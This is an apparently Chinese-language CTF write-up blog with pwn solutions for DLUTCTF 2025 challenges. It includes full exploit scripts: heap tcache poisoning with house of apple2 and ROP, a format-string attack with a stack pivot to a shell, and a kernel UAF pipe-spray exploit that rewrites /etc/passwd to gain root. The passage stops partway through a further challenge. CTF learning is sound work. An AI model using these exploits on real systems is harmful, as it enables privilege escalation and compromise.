Heap on RatherHard の Blog

DLUTCTF-2025-pwn 题解

Mon, 27 Apr 2026 10:50:00 +0000

heap_master

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/dlutctf2025/heap/heap_master'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

IDA

trace

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


unsigned __int64 trace()
{
 int stat_loc; // [rsp+Ch] [rbp-A4h] BYREF
 unsigned int v2; // [rsp+10h] [rbp-A0h]
 __pid_t pid; // [rsp+14h] [rbp-9Ch]
 __int64 v4; // [rsp+18h] [rbp-98h]
 _BYTE v5[120]; // [rsp+20h] [rbp-90h] BYREF
 __int64 v6; // [rsp+98h] [rbp-18h]
 unsigned __int64 v7; // [rsp+A8h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 v2 = fork();
 if ( !v2 )
 {
 if ( prctl(1, 9) < 0 )
 error("prctl error");
 if ( ptrace(PTRACE_TRACEME, 0, 0, 0) )
 error("hack !!!!");
 pid = getpid();
 kill(pid, 19);
 func();
 }
 if ( waitpid(v2, &stat_loc, 0) < 0 )
 error("waitpid error1");
 alarm(0xFu);
 ptrace(PTRACE_SETOPTIONS, v2, 0, 1);
 do
 {
 ptrace(PTRACE_SYSCALL, v2, 0, 0);
 if ( waitpid(v2, &stat_loc, 0x40000000) < 0 )
 error("waitpid error2");
 if ( (stat_loc & 0x7F) == 0 || (_BYTE)stat_loc == 127 && BYTE1(stat_loc) == 11 )
 break;
 if ( ptrace(PTRACE_GETREGS, v2, 0, v5) < 0 )
 error("GETREGS error");
 v4 = v6;
 if ( v6 == 59 )
 {
 printf("bad syscall: %llu\n", 59);
 v6 = -1;
 if ( ptrace(PTRACE_SETREGS, v2, 0, v5) < 0 )
 error("SETREGS error");
 }
 ptrace(PTRACE_SYSCALL, v2, 0, 0);
 if ( waitpid(v2, &stat_loc, 0x40000000) < 0 )
 error("waitpid error3");
 }
 while ( (stat_loc & 0x7F) != 0 && ((_BYTE)stat_loc != 127 || BYTE1(stat_loc) != 11) );
 return v7 - __readfsqword(0x28u);
}

反调试、沙箱

不过自己 patch 一下就可以调试了

func

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


void __noreturn func()
{
 int v0; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v1; // [rsp+8h] [rbp-8h]

 v1 = __readfsqword(0x28u);
 puts("Don't worry, it's just an ordinary pwn.");
 puts("now tell me your name.");
 read(0, name, 0x100u);
 printf("hello,%s.\n", name);
 while ( 1 )
 {
 menu();
 read_int(&v0);
 switch ( v0 )
 {
 case 0:
 case 6:
 myexit(&v0, name);
 case 1:
 alloc();
 break;
 case 2:
 dele(&v0, name);
 break;
 case 3:
 show(&v0, name);
 break;
 case 4:
 edit(&v0, name);
 break;
 case 5:
 backdoor(&v0, name);
 break;
 }
 }
}

菜单逻辑

alloc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


unsigned __int64 alloc()
{
 unsigned int v1; // [rsp+8h] [rbp-18h] BYREF
 _DWORD size[3]; // [rsp+Ch] [rbp-14h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 *(_QWORD *)&size[1] = 0;
 puts("tell me idx:");
 read_int(&v1);
 if ( v1 <= 0x1D )
 {
 puts("tell me size:");
 read_int(size);
 if ( size[0] <= 0x4FFu && size[0] > 7u )
 {
 *(_QWORD *)&size[1] = malloc(size[0]);
 if ( *(_QWORD *)&size[1] )
 {
 chunk_list[v1] = *(_QWORD *)&size[1];
 chunk_size[v1] = size[0];
 }
 puts("alloc down");
 }
 }
 return v3 - __readfsqword(0x28u);
}

dele

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


unsigned __int64 dele()
{
 unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 puts("tell me idx:");
 read_int(&v1);
 if ( chunk_list[v1] && v1 <= 0x1E )
 {
 free((void *)chunk_list[v1]);
 chunk_list[v1] = 0;
 chunk_size[v1] = 0;
 puts("dele down");
 }
 return v2 - __readfsqword(0x28u);
}

show

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


unsigned __int64 show()
{
 unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 puts("tell me idx:");
 read_int(&v1);
 if ( chunk_list[v1] && v1 <= 0x1E )
 write(1, (const void *)chunk_list[v1], (int)chunk_size[v1]);
 return v2 - __readfsqword(0x28u);
}

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


unsigned __int64 edit()
{
 unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 puts("tell me idx:");
 read_int(&v1);
 if ( chunk_list[v1] && v1 <= 0x1E )
 {
 puts("tell me context:");
 read(0, (void *)chunk_list[v1], chunk_size[v1] - 1);
 puts("dele down");
 }
 return v2 - __readfsqword(0x28u);
}

看不出有明显的堆漏洞

asm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


.text:0000000000001AF6 endbr64
.text:0000000000001AFA push rbp
.text:0000000000001AFB mov rbp, rsp
.text:0000000000001AFE sub rsp, 10h
.text:0000000000001B02 mov rax, fs:28h
.text:0000000000001B0B mov [rbp+var_8], rax
.text:0000000000001B0F xor eax, eax
.text:0000000000001B11 lea rax, aDonTWorryItSJu ; "Don't worry, it's just an ordinary pwn."
.text:0000000000001B18 mov rdi, rax ; s
.text:0000000000001B1B call _puts
.text:0000000000001B20 lea rax, aNowTellMeYourN ; "now tell me your name."
.text:0000000000001B27 mov rdi, rax ; s
.text:0000000000001B2A call _puts
.text:0000000000001B2F lea rsi, name ; buf
.text:0000000000001B36 mov rdi, 0 ; fd
.text:0000000000001B3D mov rdx, 100h ; nbytes
.text:0000000000001B44 call _read
.text:0000000000001B49 lea rax, name
.text:0000000000001B50 mov rsi, rax
.text:0000000000001B53 lea rax, aHelloS ; "hello,%s.\n"
.text:0000000000001B5A mov rdi, rax ; format
.text:0000000000001B5D mov eax, 0
.text:0000000000001B62 call _printf
.text:0000000000001B67
.text:0000000000001B67 loc_1B67: ; CODE XREF: func:loc_1BEC↓j
.text:0000000000001B67 push rsi
.text:0000000000001B68 mov eax, 0
.text:0000000000001B6D call menu
.text:0000000000001B72 lea rax, [rbp+var_C]
.text:0000000000001B76 mov rdi, rax
.text:0000000000001B79 call read_int
.text:0000000000001B7E pop rsi
.text:0000000000001B7F mov eax, [rbp+var_C]
.text:0000000000001B82 mov eax, eax
.text:0000000000001B84 lea rdx, ds:0[rax*4] ; switch 7 cases
.text:0000000000001B8C lea rax, jpt_1BA2
.text:0000000000001B93 mov eax, ds:(jpt_1BA2 - 215Ch)[rdx+rax]
.text:0000000000001B96 cdqe
.text:0000000000001B98 lea rdx, jpt_1BA2
.text:0000000000001B9F add rax, rdx
.text:0000000000001BA2 db 3Eh ; switch jump
.text:0000000000001BA2 jmp rax

switch 针对 rax 不设校验，有跳转表的漏洞

跳转到哪里好呢？

1
2
3
4


.text:0000000000001B2F lea rsi, name ; buf
.text:0000000000001B36 mov rdi, 0 ; fd
.text:0000000000001B3D mov rdx, 100h ; nbytes
.text:0000000000001B44 call _read

想到利用 rsi 残留值跳到 1B36 处

经过动调发现 rsi 在经过 show 函数后会指向我们指定的 chunk ，那么利用跳转表漏洞就可以打堆溢出啦

跳转表的条目要写在 name 上（

最后就是 tcache poisoning -> house of apple2 的板子

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './heap_master_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def safe_linking(pos, ptr):
 return (pos >> 12) ^ ptr

def jmp(idx):
 sla(b'input :', str(idx).encode())

def alloc(idx, size):
 sla(b'input :', b'1')
 sla(b'idx:', str(idx).encode())
 sa(b'size:', str(size).encode())

def dele(idx):
 sla(b'input :', b'2')
 sla(b'idx:', str(idx).encode())

def show(idx):
 sla(b'input :', b'3')
 sla(b'idx:', str(idx).encode())

def edit(idx, content):
 sla(b'input :', b'4')
 sla(b'idx:', str(idx).encode())
 sa(b'context:', content)

def exit():
 sla(b'input :', b'6')

sla(b'name.\n', b'\xda\xf9\xff\xff')

alloc(0, 0x80)
dele(0)
alloc(0, 0x80)
show(0)
heap = uu64(ru(b'\x05')[-5:]) << 12
leak('heap')

for i in range(1, 10):
 alloc(i, 0x80)
for i in range(0, 9):
 dele(i)
for i in range(0, 8):
 alloc(i, 0x80)
show(7)
libc.address = uru64() - 0x21adf0
leak('libc.address')

alloc(8, 0x80)
alloc(10, 0x18)
alloc(11, 0x18)
alloc(12, 0x18)
dele(12)
dele(11)
edit(10, b'OwO')
show(10)

jmp(1985)
payload = b'A' * 0x18 + p64(0x21) + p64(safe_linking(heap + 0xc50, heap + 0x100))
sl(payload)
alloc(13, 0xf8)
dele(13)
alloc(14, 0x18)
alloc(15, 0x18)
stderr = libc.sym['_IO_2_1_stderr_']
edit(15, p64(stderr))

alloc(16, 0xf8)
fake_io = flat({
 0x0: 0,
 0x10: b'flag\x00',
 0x28: libc.sym['setcontext'] + 0x3d,
 0x38: 0, # RDI
 0x40: stderr + 0x20, # RSI
 0x58: 0x400, # RDX
 0x70: stderr + 0x20, # RSP
 0X78: libc.sym['read'], # RIP
 0x88: stderr,
 0xA0: stderr - 0x30, # __rdx__
 0xB0: stderr - 0x40,
 0xD8: libc.sym['_IO_wfile_jumps']
 },
 filler=b"\x00"
)
edit(16, fake_io)

exit()

pop_rax_ret = libc.address + 0x45eb0
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f2e7
syscall_ret = libc.address + 0x91316

rop_chain = flat([
 pop_rax_ret,
 2,
 pop_rdi_ret,
 stderr + 0x10,
 pop_rsi_ret,
 0,
 syscall_ret,		# open("flag", 0, 0)
 pop_rax_ret,
 0,
 pop_rdi_ret,
 3,
 pop_rsi_ret,
 stderr + 0x100,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# read(3, buf, 0x100)
 pop_rax_ret,
 1,
 pop_rdi_ret,
 1,
 pop_rsi_ret,
 stderr + 0x100,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret		# write(1, buf, 0x100)
])

s(rop_chain)

itr()

# 0x0000000000045eb0: pop rax; ret; 
# 0x000000000002a3e5: pop rdi; ret; 
# 0x000000000002be51: pop rsi; ret; 
# 0x000000000011f2e7: pop rdx; pop r12; ret;
# 0x0000000000091316: syscall; ret; 

fmt

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/dlutctf2025/fmt/fmt'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: No PIE (0x400000)
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

应该是很简单的栈

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


int __fastcall main(int argc, const char **argv, const char **envp)
{
 setbuf(stdin, 0);
 setbuf(stdout, 0);
 setbuf(stderr, 0);
 puts("you have one chance .");
 read(0, &buf, 0x100u);
 func1((__int64)&buf);
 return 0;
}

func1

1
2
3
4


int __fastcall func1(const char *a1)
{
 return func2(a1);
}

func2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


int __fastcall func2(const char *a1)
{
 int result; // eax

 result = flag;
 if ( flag == 1 )
 {
 result = printf(a1);
 flag = 0;
 }
 return result;
}

攻击思路

格式化字符串打栈， func 套了两层，那么栈迁移一下就行啦

尝试用了 pwntools 的神奇 rop 工具，挺好用的

有时间打算去看看 pwncli

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './fmt_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

fake_stack = 0x4040a0 + 0x80
back = 0x401252
payload = b'%' + str(fake_stack - 0x8).encode() + b'c%8$ln;%3$p'
payload = payload.ljust(0x80, b'\x00')
payload += p64(back)
sa(b'chance .', payload)
ru(b';0x')
libc.address = int(r(12).decode('utf-8'), 16) - 0x1147e2
leak('libc.address')

bin_sh = next(libc.search(b'/bin/sh'))
chain = ROP(libc)
chain.execve(bin_sh, 0, 0)
payload = b'A' * 0x80 + chain.chain()

s(payload)
itr()

ker

第一道内核题

IDA

ioctl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


__int64 __fastcall module_ioctl(file *__file, __int64 cmd, unsigned __int64 param)
{
 unsigned int v3; // edx
 unsigned int v4; // r12d
 __int64 v5; // rbx
 _QWORD *v7; // rax

 _fentry__();
 v4 = v3;
 raw_spin_lock(&spin);
 switch ( (_DWORD)cmd )
 {
 case 0xFFFF:
 kfree(buffer);
 buffer = 0;
 break;
 case 0xDEADBEEF:
 if ( v4 <= 0x400 )
 *((_BYTE *)buffer + (v4 >> 3)) ^= 1 << (v4 & 7);
 break;
 case 0x1000:
 v7 = buffer;
 if ( !buffer )
 {
 v7 = (_QWORD *)kmalloc_trace(kmalloc_caches[262], 0x400CC0, 1024);
 buffer = v7;
 if ( !v7 )
 {
 v5 = -1;
 goto LABEL_5;
 }
 }
 *v7 = 0;
 v7[127] = 0;
 memset(
 (void *)((unsigned __int64)(v7 + 1) & 0xFFFFFFFFFFFFFFF8LL),
 0,
 8LL * (((unsigned int)v7 - (((_DWORD)v7 + 8) & 0xFFFFFFF8) + 1024) >> 3));
 break;
 }
 v5 = 0;
LABEL_5:
 raw_spin_unlock(&spin);
 return v5;
}

有位翻转

open

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


__int64 __fastcall module_open(inode *__inode, file *__file)
{
 _fentry__();
 raw_spin_lock(&spin);
 if ( buffer )
 goto LABEL_2;
 buffer = (void *)kmalloc_trace(kmalloc_caches[262], 0x400CC0, 1024);
 if ( buffer )
 {
 memset(buffer, 0, 0x400u);
LABEL_2:
 raw_spin_unlock(&spin);
 return 0;
 }
 return 0xFFFFFFFFLL;
}

打开设备时往全局变量 buffer 上写入指向堆区的指针，但如果 buffer 非空则不做操作

release

1
2
3
4
5
6
7
8
9


__int64 __fastcall module_release(inode *__inode, file *__file)
{
 _fentry__();
 raw_spin_lock(&spin);
 if ( buffer )
 kfree(buffer);
 raw_spin_unlock(&spin);
 return 0;
}

close 时会 free ，结合上面的 open 产生了 UAF

攻击思路

听学长的建议去了解了一下 DirtyPipe

发现这题用 DirtyPipe 很好打，甚至不用做 rop 或者绕各种保护

有了 UAF 就把 pipe_buffer 喷上去，然后用位翻转改 flag 就能去写任意文件了

然后去改 /etc/passwd 的 root 密码， su 一下就能提权

有空会去复现一下相关 CVE

经验总结

这道题只申请一个 pipe_buffer 可能命中不了，所以需要多申请几个，这就是堆喷射: Heap Spray

fd 被 close 后就没了，想用 ioctl 的话需要再次 open

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#include "kernelpwn.h"

#define CMD_CLEAN 0xFFFF
#define CMD_ALLOC 0x1000
#define CMD_EDIT 0xDEADBEEF

int spraycount = 50;

int main() {
 printf("Enter spraycount:");
 scanf("%d", &spraycount);
 bind_core(0);

 int file_fd = open("/etc/passwd", O_RDONLY);
 
 int fd = open("/dev/kernel_master", O_RDWR);
 close(fd);

 int pipe_fds[spraycount][2];
 for (int i = 0; i < spraycount; i++) {
 pipe(pipe_fds[i]);
 splice(file_fd, NULL, pipe_fds[i][1], NULL, 1, SPLICE_F_MOVE);
 }

 int fd2 = open("/dev/kernel_master", O_RDWR);
 ioctl(fd2, CMD_EDIT, (24 << 3) + 4);

 const char *data = "oot::0:0:root:/root:/bin/sh\n";
 for (int i = 0; i < spraycount; i++) {
 write(pipe_fds[i][1], data, strlen(data));
 }

 return 0;
}

据说是 NeSE 考核题目的题解

Mon, 27 Apr 2026 10:50:00 +0000

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/dlutctf2025/deploy/main'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
 const char *password; // rdx
 const char *password_1; // rdx
 __int64 task; // rbx
 int i; // [rsp+4h] [rbp-6Ch]
 int idx; // [rsp+8h] [rbp-68h]
 int idx_1; // [rsp+Ch] [rbp-64h]
 _DWORD *packet; // [rsp+10h] [rbp-60h]
 const char *token; // [rsp+18h] [rbp-58h]
 char *command; // [rsp+20h] [rbp-50h]
 __int64 user; // [rsp+28h] [rbp-48h]
 char *task_content; // [rsp+38h] [rbp-38h]
 const char *name_1; // [rsp+40h] [rbp-30h]
 const char *name; // [rsp+50h] [rbp-20h]

 while ( 1 )
 {
 while ( 1 )
 {
 packet = read_packet();
 token = (const char *)get_filed_value((__int64)packet, "user_token");
 command = (char *)get_filed_value((__int64)packet, "command");
 if ( !command )
 err("Invalid packet");
 if ( !token )
 {
 if ( !strcmp(command, "login") )
 {
 name = (const char *)get_filed_value((__int64)packet, "username");
 password = (const char *)get_filed_value((__int64)packet, "password");
 user_login(name, password);
 }
 else
 {
 if ( strcmp(command, "register") )
 err("Invalid command");
 name_1 = (const char *)get_filed_value((__int64)packet, "username");
 password_1 = (const char *)get_filed_value((__int64)packet, "password");
 user_register(name_1, password_1);
 }
 goto LABEL_28;
 }
 idx = search_user_by_token(token, 32);
 if ( idx == -1 )
 err("Invalid token");
 user = all_users[idx];
 if ( strcmp(command, "submit_task") )
 break;
 if ( *(_QWORD *)(user + 0x20) ) // task
 {
 if ( !*(_DWORD *)(user + 0x18) )
 {
 *(_DWORD *)(user + 0x18) = 1;
 task_content = (char *)get_filed_value((__int64)packet, "task_content");
 if ( !task_content )
 err("Invalid packet");
 task = *(_QWORD *)(user + 32);
 *(_QWORD *)(task + 32) = strdup(task_content);
 run_task(*(void **)(user + 32));
 goto LABEL_28;
 }
 puts("Task is being running, try again later");
 }
 else
 {
 puts("Sorry you cannot run task");
 }
 }
 if ( strcmp(command, "deregister") )
 err("Invalid command");
 if ( user_count > 0 )
 {
 idx_1 = search_user_by_token(token, 32);
 if ( idx_1 == -1 )
 err("Invalid token");
 free((void *)all_users[idx_1]);
 for ( i = idx_1; i < user_count - 1; ++i )
 all_users[i] = all_users[i + 1];
 all_users[--user_count] = 0;
 puts("Deregister success");
LABEL_28:
 free_packet((__int64)packet);
 }
 }
}

read_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


_DWORD *read_packet()
{
 int len; // [rsp+4h] [rbp-102Ch]
 char *s; // [rsp+8h] [rbp-1028h]
 _DWORD *packet; // [rsp+10h] [rbp-1020h]
 char *v4; // [rsp+18h] [rbp-1018h]
 _QWORD buf[514]; // [rsp+20h] [rbp-1010h] BYREF

 buf[513] = __readfsqword(0x28u);
 memset(buf, 0, 0x1000u);
 len = read(0, buf, 0xFFFu);
 *((_BYTE *)buf + len) = 0;
 packet = create_packet();
 for ( s = (char *)buf; s < (char *)buf + len; s = v4 + 1 )
 {
 v4 = strchr(s, '\n');
 if ( !v4 )
 break;
 *v4 = 0;
 packet_parse_line((__int64)packet, s);
 }
 return packet;
}

解析数据包，按行分配

create_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


_DWORD *create_packet()
{
 _DWORD *ptr; // [rsp+8h] [rbp-8h]

 ptr = malloc(0x10u);
 if ( ptr )
 {
 *(_QWORD *)ptr = malloc(0x80u);
 if ( *(_QWORD *)ptr )
 {
 ptr[2] = 0;
 ptr[3] = 8;
 return ptr;
 }
 else
 {
 perror("malloc fields failed");
 free(ptr);
 return 0;
 }
 }
 else
 {
 perror("malloc packet failed");
 return 0;
 }
}

为数据包分配空间

packet_parse_line

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


void __fastcall packet_parse_line(__int64 packet, const char *key)
{
 char *value; // [rsp+18h] [rbp-18h]

 value = strchr(key, ':');
 if ( value )
 {
 *value = 0;
 add_filed(packet, key, value + 1);
 }
}

可以看出数据包的格式：

1

key1:val1\nkey2:val2\n...

add_filed

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


void __fastcall add_filed(__int64 packet, const char *key, const char *value)
{
 char **v3; // rbx
 __int64 v4; // rbx

 if ( packet
 && key
 && value
 && (*(_DWORD *)(packet + 8) < *(_DWORD *)(packet + 12) || (unsigned int)expand_fields(packet)) )
 {
 v3 = (char **)(*(_QWORD *)packet + 16LL * *(int *)(packet + 8));
 *v3 = strdup(key);
 v4 = *(_QWORD *)packet + 16LL * *(int *)(packet + 8);
 *(_QWORD *)(v4 + 8) = strdup(value);
 ++*(_DWORD *)(packet + 8);
 }
}

注意 strdup 会为字符串分配堆空间

get_filed_value

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


__int64 __fastcall get_filed_value(__int64 packet, const char *key)
{
 int i; // [rsp+1Ch] [rbp-4h]

 if ( !packet || !key )
 return 0;
 for ( i = 0; i < *(_DWORD *)(packet + 8); ++i )
 {
 if ( !strcmp(*(const char **)(16LL * i + *(_QWORD *)packet), key) )
 return *(_QWORD *)(16LL * i + *(_QWORD *)packet + 8);
 }
 return 0;
}

user_login

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


__int64 __fastcall user_login(const char *name, const char *password)
{
 __int64 result; // rax
 int i; // [rsp+1Ch] [rbp-4h]

 if ( !name || !password )
 return 0;
 for ( i = 0; ; ++i )
 {
 result = (unsigned int)user_count;
 if ( i >= user_count )
 break;
 if ( !strcmp(name, *(const char **)(all_users[i] + 8LL)) && !strcmp(password, *(const char **)(all_users[i] + 16LL)) )
 {
 puts("Login success");
 printf("user_token:%s\n", *(const char **)all_users[i]);
 }
 }
 return result;
}

登录逻辑，登录成功会返回 token

user_register

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


__int64 __fastcall user_register(const char *name, const char *password)
{
 int idx; // eax
 int i; // [rsp+14h] [rbp-Ch]
 _QWORD *user; // [rsp+18h] [rbp-8h]

 if ( !name || !password )
 return 0xFFFFFFFFLL;
 for ( i = 0; i < user_count; ++i )
 {
 if ( !strcmp(name, *(const char **)(all_users[i] + 8LL)) )
 err("User already exists");
 }
 user = malloc(0x28u);
 *user = malloc(0x20u); // token
 gen_random_bytes((_BYTE *)*user, 0x20u);
 user[1] = strdup(name);
 user[2] = strdup(password);
 *((_DWORD *)user + 6) = 0;
 allocate_task((__int64)user);
 idx = user_count++;
 all_users[idx] = user;
 puts("Reigster success!");
 return 0;
}

会尝试为每个用户分配 task 空间

allocate_task

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


__int64 __fastcall allocate_task(__int64 user)
{
 __int64 result; // rax
 _QWORD *task; // [rsp+18h] [rbp-8h]

 result = (unsigned int)task_allocated;
 if ( task_allocated <= 15 )
 {
 task = malloc(0x28u);
 task[1] = 0;
 *(_DWORD *)task = 0;
 task[3] = user + 0x18;
 ++task_allocated;
 result = user;
 *(_QWORD *)(user + 0x20) = task;
 }
 return result;
}

task 上限为 15 个

search_user_by_token

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


__int64 __fastcall search_user_by_token(const char *token, int len)
{
 int i; // [rsp+1Ch] [rbp-4h]

 for ( i = 0; i < user_count; ++i )
 {
 if ( !strncmp(token, *(const char **)all_users[i], len) )
 return (unsigned int)i;
 }
 return 0xFFFFFFFFLL;
}

run_task

1
2
3
4
5
6
7
8
9


unsigned __int64 __fastcall run_task(void *task)
{
 pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 pthread_create(&newthread, 0, (void *(*)(void *))do_task, task);
 return v3 - __readfsqword(0x28u);
}

开一个线程跑任务，直接跑，没有锁的相关逻辑

free_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


void __fastcall free_packet(__int64 packet)
{
 int i; // [rsp+1Ch] [rbp-4h]

 if ( packet )
 {
 for ( i = 0; i < *(_DWORD *)(packet + 8); ++i )
 {
 free(*(void **)(16LL * i + *(_QWORD *)packet));
 free(*(void **)(16LL * i + *(_QWORD *)packet + 8));
 }
 free(*(void **)packet);
 free((void *)packet);
 }
}

释放与 packet 有关的所有资源

do_task

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


void *__fastcall do_task(const char **task)
{
 int i; // [rsp+1Ch] [rbp-14h]
 char *dest; // [rsp+28h] [rbp-8h]

 *(_DWORD *)task = strlen(task[4]);
 dest = (char *)task[4];
 for ( i = 0; i < *(_DWORD *)task; ++i )
 task[4][i] ^= 0x3Fu;
 task_log(*((_DWORD *)task + 4), "Task has been done\n");
 memcpy(dest, task[4], *(int *)task);
 return 0;
}

执行任务，会先对 task content 做一个异或操作，然后重新自拷贝一遍

如果在 memcpy 之前覆写了 task content 的指针，就有机会重写 dest 的内容并实现堆溢出

利用异或操作可以规避 ‘\x00’ 的截断

task_log

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


unsigned __int64 __fastcall task_log(int a1, const char *a2)
{
 int v3; // [rsp+14h] [rbp-2BCh]
 int v4; // [rsp+1Ch] [rbp-2B4h]
